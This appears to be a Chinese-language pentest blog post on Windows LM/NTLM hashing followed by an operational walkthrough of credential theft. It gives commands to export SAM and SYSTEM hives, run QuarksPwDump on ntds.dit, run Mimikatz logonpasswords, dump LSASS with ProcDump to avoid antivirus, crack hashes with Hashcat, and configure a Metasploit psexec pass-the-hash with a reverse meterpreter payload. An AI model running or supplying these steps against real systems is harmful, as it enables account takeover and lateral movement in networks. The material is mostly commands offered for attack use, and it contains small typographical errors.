「Active-Directory-Sec」Bypass-Windows-HASH
in PentestDomain-Sec with 0 comment

「Active-Directory-Sec」Bypass-Windows-HASH

in PentestDomain-Sec with 0 comment

Windows LM HASH 与NTLM HASH

Windows系统采用两种方法对用户的密码进行HASH处理,分别为LAN Manager(ML) HASH和NT LAN Manager(NTLM)哈希。

挑战/响应模式(鉴权模式)

鉴权模式协议又被称为挑战-认证模式,由三种消息组成:通常为例类型1(协商),类型2(质询)和类型3(身份验证)
工作原理为:

1. 客户端向服务器发送一个请求,请求中包含明文的登录用户名。服务器会提前存储登录用户名和对应的密码hash
2. 服务器接收到请求后,生成一个16位的随机数(这个随机数被称为Challenge),明文发送回客户端。使用存储的登录用户密码hash加密Challenge,获得Challenge1
3. 客户端接收到Challenge后,使用登录用户的密码hash对Challenge加密,获得Challenge2(这个结果被称为response),将response发送给服务器
4. 服务器接收客户端加密后的response,比较Challenge1和response,如果相同,验证成功

在以上流程中,登录用户的密码为NTLM hash,response 中包含Net-NTLM hash
关于NTML认证的资料可详细参考
http://davenport.sourceforge.net/ntlm.html

LM HASH

LAN Manager(LM) HASH是Windows系统使用的第一种密码哈希算法。直到NTLM HASH出现之前一直使用这唯一种方式。为了兼容旧版,在Windows 2000、XP、Vista和Windows 7仍然支持此算法。但在Vista和Win7中是默认关闭的。
LM HASH处理原理:

1.用户的密码被限制为最多14个字符。
2.用户的密码转换为大写。
3.密码转换为16进制字符串,不足14字节将会用0来再后面补全。
4.密码的16进制字符串被分成两个7byte部分。每部分转换成比特流,并且长度位56bit,长度不足使用0在左边补齐长度,再分7bit为一组末尾加0,组成新的编码(str_to_key()函数处理)
5.上步骤得到的8byte二组,分别作为DES key为"KGS!@#$%"进行加密。
6.将二组DES加密后的编码拼接,得到最终LM HASH值。

NTLM HASH

IBM设计的LM HASH算法存在弱点,微软在保持向后兼容的同时提出了自己的挑战/响应机制,NTLM-HASH便产生。
NT LAN Manager(NTLM)哈希算法是微软目前认可的一种哈希算法。它以MD4哈希算法为基础,通过一系列数学运算来创建HASH值。明文大小写敏感。
NTLM-HASH计算过程:

1. 将明文转化为ASCII字符串
2. 将ASCII字符串转换为十六进制字符串
3. 将十六进制转化为Unicode字符串
4. 使用MD4消息摘要算法

详细原理

更多关于LM-HASH和NTLM-HASH的相关原理保存在附件中,由Rai4over表哥整理分享。
Windows下LM-Hash与NTLM-Hash.pdf

Windows HASH抓取

Windows下的HASH密码格式为:
用户名:RID:LM-HASH值:NTLM-HASH值
例:
Administrator:500:C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC:::
用户名:Administrator
RID值:500
LM-HASH值:C8825DB10F2590EAAAD3B435B51404EE
NTLM-HASH值:683020925C5D8569C23AA724774CE6CC
如果已经知道某个用户的HASH,就可以使用该HASH到如下网址进行破解。

C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC
http://www.objectif-securite.ch/en/ophcrack.php

注:
如果无法获取LM-HASH,将LM-HASH内容填充为0即可。

在windows中分别用了LM HASH和NTLM HASH对密码进行了加密,所以抓取任意一个HASH都可以破解密码,只不过如果二个HASH都可以抓到,密码的破译成功率会大大提升。

SAMInside获取HASH

可以直接使用import Local Users via Scheduler导入用户和HASH。
dc-01.png
也可以通过注册表文件导入用户和HASH

reg save hklm\sam sam.hive
reg save hklm\system ystem.hive
reg save hklm\security security.hive

选择
dc-02.png
获取HASH
dc-03.png

QuarksPwDump.exe获取HASH

获取本机HASH

QuarksPwDump.exe --dump-hash-domain --output dr0opHash.txt 

获取域控HASH

QuarksPwDump.exe --dump-hash-domain  --ntds-file c:\ntds.dit

Mimikatz获取HASH

适合Windows Server 2012

privilege::debug
inject::process lsass.exe sekurlsa.dll
@getLogonPasswords

普通服务器如下命令即可

privilege::debug
sekurlsa::logonpasswords

GetHashed获取HASH

必须要在System权限下

GetHashes.exe $local

dump lsass.exe内存

如果上传的mimikatz和QuarksPwDump都会被查杀,无法利用这两款软件常规思路获取系统的密码HASH。可以先dump对方主机的LSASS内存文件,然后在自己主机用mimikatz进行处理,这样就可以得到对方主机的系统HASH和密码了。

ProDump dump lsass.exe内存

Procdump.exe -accepteula -ma lsass.exe lsass.dmp

然后使用Mimikatz抓取

mimikatz.exe "sekurlsa::minidump lsass.dmp"
sekurlsa::logonpasswords

dc-04.png

破解Windows HASH

使用彩虹表破解HASH

使用Ophcrack下载彩虹表破解:
可参考安全脉搏使用Ophcrack破解例子
https://www.secpulse.com/archives/65256.html

使用Hashcat破解Windows-HASH

cudaHashcat64.exe -m 1000 -a 3 --force F1C44F9A910145653BA80E3A5CA4F47F ?l?l?l?l?l?l?l

可详细参考
https://blog.csdn.net/qq_19876131/article/details/50880343

在线破解

http://www.objectif-securite.ch/en/ophcrack.php

抓取Windows明文密码

使用mimikatz抓取明文密码

mimikatz.exe "privilege::debug sekurlsa::logonpasswords" >> res.txt

使用Getpass抓取明文密码

getpass.exe >> res.txt

使用HASH登录远程主机

metasploit psExec

use windows/smb/psexec
 
set SMBUser username
 
set SMBPass 用户密码的hash值
 
set payload Windows/meterpreter/reverse_tcp
 
set rhost 333.333.333.333
 
set lhost 111.111.111.111
 
exploit

HASH传递攻击

http://www.freebuf.com/articles/system/15757.html

Responses